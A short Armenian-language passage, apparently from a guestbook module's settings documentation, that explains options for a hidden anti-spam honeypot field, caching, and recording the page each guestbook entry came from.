    (Ոչ | Այո) Միացնել կամ անջատել թաքնված դաշտերը: Որոշ սպամ բոտեր փորձում են տեղում լրացնել բոլոր դաշտերը, եթե լրացնեն այս թաքնված դաշտը, որը մարդը չի կարող տեսնել, գրառումը չի ավելացվի հյուրերի գրքում:

    (Այո | Ոչ) Միացնել քեշը:

    Միացնել մուտքային էջի հայտնաբերումը

    (Այո | Ոչ) Միացնել կամ անջատել մուտքային էջի հայտնաբերումը: Սա անվտանգության հատկանիշ է: Եթե ​​միացնեք այն, ապա այն էջը, որտեղից եկել է հյուրերի գրքի գրառումը, կպահպանվի և կցուցադրվի միջերեսում: